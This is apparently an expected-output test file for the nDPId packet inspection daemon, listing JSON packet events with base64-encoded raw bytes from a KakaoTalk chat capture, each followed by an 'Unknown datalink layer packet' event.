+00443{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":170,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069031,"pkt_ts_usec":445777,"pkt_caplen":103,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":103,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFd6tUAAPwYAxQoYUrwfDURGqj0Bu4p9evlgGeLyUBhfALs6AAAXAwMAKjgatczmcEzJauANVDmJ9rpTS+PkMJz+kIb4ywAXor8+VwKJzTdZHlotSA=="} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":170,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","datalink":113} +00425{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":171,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069031,"pkt_ts_usec":449713,"pkt_caplen":93,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":93,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAE16tkAAPwYAzgoYUrwfDURGqj0Bu4p9eyhgGeLyUBhfAMv4AAAXAwMAIDgatczmcEzKOovNrrZmlsb2m4KIkvJCa9h6BVwb9xq8"} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":171,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","datalink":113} +00377{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":172,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069031,"pkt_ts_usec":480384,"pkt_caplen":56,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":56,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUAACjTTEAAjwZYTh8NRFQKGFK8Abuwm2JwrETLT28vUBCkxE9QAAA="} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":172,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","datalink":113} +00725{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":173,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069031,"pkt_ts_usec":513282,"pkt_caplen":314,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":314,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUAASrTTUAAjwZXSx8NRFQKGFK8Abuwm2JwrETLT28vUBikxOXaAAAWAwMAygQAAMYAAU\/wAMBVHjamON2Im1HS1Mx3WG+MHqQdzgVj909oJkB2\/cL96uQcX2PfrbyBj2+2oCYfHZ91Urggzu6eStTIoM9Tx0y+L5fn4iO7UemYhseBRZgQPMeOhtjrP7Ay2eCf3jw6sB7lBQ3ZcpiCWpWxN+zLU1AVf1JRJ2kh83AYgCsYOkJGnI0JglWBDAlI6RTp6SysSqxSLyEbEgg6TRJ5xWMmmo6sYo0KSmzNienpjIAH1B453woar3mtJnA1SQQQ9xtf72wUAwMAAQEWAwMAKBb8yUXEQnm1GVxYXWHBTfz7BtrCKB8SKDo3bRG3+B+IlvOJH6rcA04="} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":173,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","datalink":113} +00455{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":174,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069031,"pkt_ts_usec":513861,"pkt_caplen":113,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":113,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUAAGHTTkAAjwZYEx8NRFQKGFK8Abuwm2JwrUbLT28vUBikxBbAAAAXAwMANBb8yUXEQnm2g++XjKblkUJpWv9tmLeVBE1kuRiDlrf+n7hYqni8bdG9vQAiXYZKviSblcI="} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":174,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","datalink":113} +00440{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":175,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069031,"pkt_ts_usec":514411,"pkt_caplen":101,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":101,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUAAFXTT0AAjwZYHh8NRFQKGFK8Abuwm2JwrX\/LT28vUBikxOsdAAAXAwMAKBb8yUXEQnm3y2xIdPlzqp5dWtYUgSV3ANJOPhyJBgJPfxNr6dpuXC8="} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":175,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","datalink":113} +00440{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":176,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069031,"pkt_ts_usec":514929,"pkt_caplen":101,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":101,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUAAFXeNUAAjgZORh8NREYKGFK8AbuqPWAZ4vKKfXfjUBijUitYAAAXAwMAKD2B\/Wu8yi7dmC8oCrcVU7SDR399k4n3r4ZCDoBgqkuVc8zxgtQcauc="} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":176,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","datalink":113} +00378{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":177,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069031,"pkt_ts_usec":516333,"pkt_caplen":56,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":56,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAChjFUAAPwYYhgoYUrwfDURUsJsBu8tPby9icK1\/UBBfAJPZAAA="} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":177,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","datalink":113} +00377{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":178,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069031,"pkt_ts_usec":517371,"pkt_caplen":56,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":56,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAACh6t0AAPwYA8goYUrwfDURGqj0Bu4p9e01gGeMfUBBfAJuwAAA="} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":178,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","datalink":113} +01171{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":179,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069031,"pkt_ts_usec":520270,"pkt_caplen":640,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":640,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUAAnCZNkAAjwaQHB8NRFQKGFK8AbuwmcDC+Qbamz+TgBgClTNhAAABAQgKopGYlgALC0sXAwMCN5ruu5VbafH6UjBl9oL4wgWyYhaFRR50Fz3MHhKNsUZ1SwjvJla0iAucT61ZkzjEx+cMgTjmOCIhd\/wJtCdzUJVAIvK+1ElB5I1phsk0WBpmJlhqA5B1nroyn5w5TULFKtcE3yFaAXSx54iaTnAOk51UZaI8n\/bbmS2TJRaa7wB6FaptUzSDqjyUzZrK+8R2naeSdpoS+WZpRRmY8zhj2jqPsgqrBnhW2Vh6KmEB+HRJ2kHhoMcho2S\/\/WjUgn4k3H10vEgeo+SAfji7iPpH18u4vd346zlAMd+J7aAbgjqPIOI4jQkzH07\/T63Xwil621AP8pveR+9fz\/D9F5TqokwgcsHmAC\/Db6M6yzqqZlJRSLAKEWSrJcIph3o6XuTnxsBPvl5uSJQpmLLpjlcxJNTOuxOeGHkwygAGD17g3F59gFqhDG9RrcO8nZRckRgtMEPv16OG9hZgbcTpAC0bee3sNHkbGT+t9trZRHAiiuNnIb6etVmpkd5ArnlCHVx5XC08r4mw\/aqF1qnleI+9LnLzLeubiz55g+AUtGSmqs+0ODpMcHFqowNUmDKMLpMGzkIURbKe4P1iRAK9\/v5YqRvWKqcbbclyuTTiXcDPYM7l2hS\/TnvK2RAIduFFfmAOwahpPTHom2HiHwqWB2ri4zsFYNcgVdgIxtyxxN80HLWlrHI7LH6jVnl\/Nuvliyuu20aaMDHrvN1qpSWRUlsNMbK\/GOZGKLJXPQLFLufju9i1xRGUEvsIiA=="} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":179,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","datalink":113} +00393{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":180,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069031,"pkt_ts_usec":522834,"pkt_caplen":68,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":68,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAADQzQEAAPwZITwoYUrwfDURUsJkBu9qbP5PAwvtCgBAA3+aCAAABAQgKAAsLaqKRmJY="} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":180,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","datalink":113} +00951{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":181,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069031,"pkt_ts_usec":531714,"pkt_caplen":477,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":477,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUAAc3eNkAAjgZMzR8NREYKGFK8AbuqPWAZ4x+KfXfjUBijUlIOAAAXAwMBoD2B\/Wu8yi7eiz7ISfDQvp5OkwiR5it7RULrqcwFTejf0Nwfmo0+xYbCkpQuSyMIxwxclbwc\/bbDGlysCdX7mmHX91VdoVBDUJB4fVzGQ7\/uG+S2VXLoPZfp37tpc9DhTp+RuTk8A4Gze1Wi8mpEvwKmirL2PfLElUkURtQh0vRYlSoV15XdD5l0Ga6k1fcExUDTOrKi43pjni6jCFfWckdDzLLCdivmKhjUABD9IYZE9dURVsChgWHUASaL\/+I063esfLCsxUUUMOSohPDZO1CT7DJ2wZk9ITnOyKPCRdMud18aU9uez3X27ox9sU5fGcOIUQv7\/RDD7MUjD4DbTmw7qz+2gCQi\/a4fe5YIf0ACV4GLiFxJsRIVKwzSp+3R0MvmMxey3GxqEgc4Cpozcqu\/PblUvnq18Pqr7fTHxECGkeIJujZJKGM0jAD\/xFIF2C8H1WKx+PbL\/EHVDXv+FmdpaHP99\/kI78UHWu9m7+ylpQnIUVR8O\/cUvEHXoFcT7ySEaSrwPf6HLcg\/CQMnSq5qTpCYqMjkHREGqKq+7Kzc"} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":181,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","datalink":113} +00377{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":182,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069031,"pkt_ts_usec":534339,"pkt_caplen":56,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":56,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAACh6uEAAPwYA8QoYUrwfDURGqj0Bu4p9e01gGeTEUBBpAJALAAA="} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":182,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","datalink":113} +00377{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":183,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069031,"pkt_ts_usec":552130,"pkt_caplen":56,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":56,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAChjFkAAPwYYhQoYUrwfDURUsJsBu8tPby9icK2sUBBfAJOsAAA="} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":183,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","datalink":113} +00418{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":184,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069031,"pkt_ts_usec":592139,"pkt_caplen":85,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":85,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUAAEVecUAAjgYib638YQIKGFK8AbuKr2AiuVD8GvORUBikrBsZAAAXAwEAGNqj96ZLe+MBM\/+c2vYGvokHxAQvWyucbQ=="} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":184,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","datalink":113} +00379{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":185,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069031,"pkt_ts_usec":594580,"pkt_caplen":56,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":56,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAACjmwkAAPwbpOgoYUryt\/GECiq8Bu\/wa85FgIrltUBBVAFlaAAA="} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":185,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","datalink":113} +00459{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":186,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069031,"pkt_ts_usec":611243,"pkt_caplen":113,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":113,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAGHTnUAAQAbVXgoYUrw2\/\/3H5i8UZ+uf0VkGiXPCgBgCYxkQAAABAQgKAAKTKDTnT0kXAwEAKNOo\/lFrrxEtj1oyrBEybZXAvF7754xqLjvuYfV0gCpDpumAA3\/lW60="} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":186,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","datalink":113} +00789{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":187,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069031,"pkt_ts_usec":612708,"pkt_caplen":358,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":358,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAVbmw0AAPwboCwoYUryt\/GECiq8Bu\/wa85FgIrltUBhVAAgrAAAXAwEBKS3x8YdwxEGsE1rJOhaybt+u7hTdGbdVnrfu549XqMa2La2fThmjlX8NkCIYX+ZR94J1Ki8mV9STe3KW4sHOUISeMQJ6nuxgvEyy2rIR76h2J1xDYizhR22ohOiqQ9DCq7ITrXaB6K8uTY6qDgbughT0P\/ffTOA2VpN2sP2zpsq1YFJgUgcuSE0jyKxdtqNy6ZOMUF\/Mms+8S+JoGfsLff1pOOnOsfoOGZACG7D6ofhzSuOZw062+64yIyoFEt0gCpQ9cZOqbc8SEXx9FNB37+c6bpuIfR4hdN9EnkOfu8d1hZi55Hu19nE5HvXjDXOIY72brauTs5jLPUMmPVHeH4vL+JPWRsutbF4eAmL68HTEBCoeybGV6lc9E13KPRIb\/\/+tjqDSYVtXpQ=="} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":187,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","datalink":113} +00377{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":188,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069031,"pkt_ts_usec":640204,"pkt_caplen":56,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":56,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUAACjeN0AAjgZOcR8NREYKGFK8AbuqPWAZ5MSKfXr5UBCgPFkjAAA="} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":188,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","datalink":113} +00377{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":189,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069031,"pkt_ts_usec":640876,"pkt_caplen":56,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":56,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUAACjeOEAAjgZOcB8NREYKGFK8AbuqPWAZ5MSKfXsoUBCgDVkjAAA="} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":189,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","datalink":113} +00377{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":190,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069031,"pkt_ts_usec":721991,"pkt_caplen":56,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":56,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUAACjeOUAAjgZObx8NREYKGFK8AbuqPWAZ5MSKfXtNUBCf6FkjAAA="} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":190,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","datalink":113} +02114{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":191,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069031,"pkt_ts_usec":722541,"pkt_caplen":1336,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":1336,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUABSjTUEAAjwZTSh8NRFQKGFK8Abuwm2JwrazLT28vUBCkxJw4AAAXAwMFlhb8yUXEQnm4ChZ3D0l+Ddy5Mkem45x26IUJEYUyZjUaP96pdvhL7rRmeKqC+XRSPYgHYLAxRvXaDh5KvF2DpPeqRuGZG0yWgyinFy5FDSyHCH6mML88W5KSqoXoc+i5T\/bB3bmJQWQukTj7R0r\/DowQ+jLt\/dfFRWnqOg5IYJfronw5ldcNRCU47UaRVWoXFPevDIpyjGdN1EvB0h0D4Lap10gU705xtUFEukcDQAbzLLBzDGtltLeUhOXrrz1xEsVsecAF0U+w+fanywM6LC3aOh9DSNwpYVTRdXFiHnSvvl5KJi66ylixuZzkrMJtoxpIU1qeCh8A9myG4gsusIsMJ\/07WSK+A4TYXjwfcJwJ+apXGTuWdEB9pTVBekElA1ruQ9DzJyFq8LKqa1DthYOjAwLjd\/mvpmgkwY4R\/0MGRLwmVSOmFzd3xn13Ki82Zjh3KdOFsUUGnjEN+XfMtja6do7sM2aghojtYJADdgem+Lg25dXuWtiU0VmAT2l5fXJn37f\/SThi5K2LBd4rOHEty3Hoq9pIi55fqjJi1j8dYoM+wViI3TY4tItKsZOTO38gMNkUvAgNwQUbus1n4UmhTg4NGgXmAkh+yiZEOBJd2yWPHZoNWiK5rB9h\/Noi\/LrSPpaKXTeUo29TuChfHwRjHbHm7QyDmVKITWa\/QA9F\/+w9JrMqvO+jdOqET5BEFYFrj7HepL7\/6q9qjGQhESva6VYalCxA8saSq5ZtrO5kCZsJsODkjXWNqpktclVd6srDBR1UEXOwarK+CD2dihIcpYp0aXJ\/6y5DJN7ZXxIOcpvhwbiZsaTxNndopaQYlzqc31sGsBDp04pNKfuDyPzRjvHfF9dc56wzgauDL7BlMvArnzoA10QApLMjzmnUqAoAdb6SJaKjwXt3yCDojCghZMz+cjSeg7AkGNnfG\/fgCBW127WBK+s03bJvBQ3WEWX5+u62+x5RIoxVc+zMkuirsRJ54Vwxod\/1P\/J\/GmoHKZPbJRitDM7iLJQ2twH0a\/zG2Hqw++RERKGumIOT8UA6\/Tt6CNyROo\/yefJioOOXogdRXDr4j7FWRztApn0eIVbOyjE\/iRDBR47ieF+aLHbP6ShkB1yNKqxK0q4RvuX9rzhhkBC0ohG14s3ctg1wBEvx9DHNzTCsWp9T+mlKx+KRbG9KlRvhhtXRTCeK39pUJ5vqGw8yW0YCFkdE8tQuKdxwlBXCieXr6hbkuaoz9wwuGmFvx+czudqjkXbBhMK4thzPtOBY9kwzu52YJ9PUZAvBVPHI9DEkBdh0MmwIgsr1WFoMLvDow4HI7hZMxqgENen4+sLHgpexP5aeJYFbMUDyK\/3udrbi+yeEaTgI0akb+0BW1IIJs6O5lPXmQiiP3b6lSgaaq2sqQrPiZ0i5SQhmctlWDE5ggRW884GN4t1VhkI3r0BNPd8AQHjC0YV6cCK41a3WFsxZvjw2LemafgRjmNWsVa2KsaKeKXsLuJFmoKnL0sgKIjS1FBQy1+q1rJZ7LRHL4RsgSUrwN5zVjyO91uXtDWyLN5YjplBKeuVeKvWvi5925PWQdieSznvOER+Nc7r7yynf\/FprcGNyVa6mX3P5ns+v43MhXby72E5PwhTWIzfxQDUE2K0fQono6Z48TmkVw0\/rF\/GTx1Pq1B06upk2RvDCwNVSZ6+FRr4DhTuBYEivUtFfZA=="} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":191,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","datalink":113} +00554{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":192,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069031,"pkt_ts_usec":722693,"pkt_caplen":186,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":186,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUAAKrTUUAAjwZXxx8NRFQKGFK8Abuwm2JwsqzLT28vUBikxAuCAABpVtG4Oz\/85ZXzvNR\/hBRtHbCI2iBOn371rULRfvejj7RXeBUWk91COof4AEnqSnFDFtmZPLGCelVhUaaGSsH9ldR54RnBCXCvj8VcvYxgTxVA\/U6Eat6+ORHW1xxJS3EYZ65QshojhC1eFtj9FX5Ey7zyfnFQ0VTe+EAW4CP+1mFf"} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":192,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","datalink":113} +00411{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":193,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069031,"pkt_ts_usec":722815,"pkt_caplen":81,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":81,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUAAEHTUkAAjwZYLx8NRFQKGFK8Abuwm2Jwsy7LT28vUBikxHXdAABIT3SfmOzru5Sel\/Ml9emGzanSoL\/ZAp3y"} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":193,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","datalink":113} +00706{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":194,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069031,"pkt_ts_usec":722937,"pkt_caplen":297,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":297,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUAARnTU0AAjwZXVh8NRFQKGFK8Abuwm2Jws0fLT28vUBikxLqaAAAXAwMA7Bb8yUXEQnm54rvikrzEoPgWHpEzq5VDJT11bKxrAZHgsnIyJa4LuNeLm0tuO19FccKAPrN1MvVL5pmoRNkqwC6kYvCnBnNOQah22R8aprlPy1qg2NJAu54YANGRujCJXA\/GtN40klS7i3Rwl6WAjBzwmuSa6IAJ2B5988Uk\/HYW0D3lZLwGIQ6Fy6F8wjT3hdWyUvuVJ4EH5gjIeuIWRbawcKk\/tXbVod\/uZxsDIBH6ZMhzh5gRqIHT+Ii\/U6Lyd\/FX8JfD77jTOg8ISO4e\/2OiZzI6dKKjwjxIZWxVQ2RzsTuPcVVuDAZruD6J"} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":194,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","datalink":113} +00377{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":195,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069031,"pkt_ts_usec":732062,"pkt_caplen":56,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":56,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAChjF0AAPwYYhAoYUrwfDURUsJsBu8tPby9icLKsUBBpAISsAAA="} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":195,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","datalink":113} +00377{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":196,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069031,"pkt_ts_usec":732245,"pkt_caplen":56,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":56,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAChjGEAAPwYYgwoYUrwfDURUsJsBu8tPby9icLMuUBBzAHoqAAA="} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":196,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","datalink":113} +00377{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":197,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069031,"pkt_ts_usec":732398,"pkt_caplen":56,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":56,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAChjGUAAPwYYggoYUrwfDURUsJsBu8tPby9icLNHUBBzAHoRAAA="} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":197,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","datalink":113} +00377{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":198,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069031,"pkt_ts_usec":732520,"pkt_caplen":56,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":56,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAChjGkAAPwYYgQoYUrwfDURUsJsBu8tPby9icLQ4UBB9AG8gAAA="} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":198,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","datalink":113} +00378{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":199,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069031,"pkt_ts_usec":756720,"pkt_caplen":56,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":56,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUAACheckAAjwYhi638YQIKGFK8AbuKr2AiuW38GvS\/UBCjfgmuAAA="} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":199,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","datalink":113} 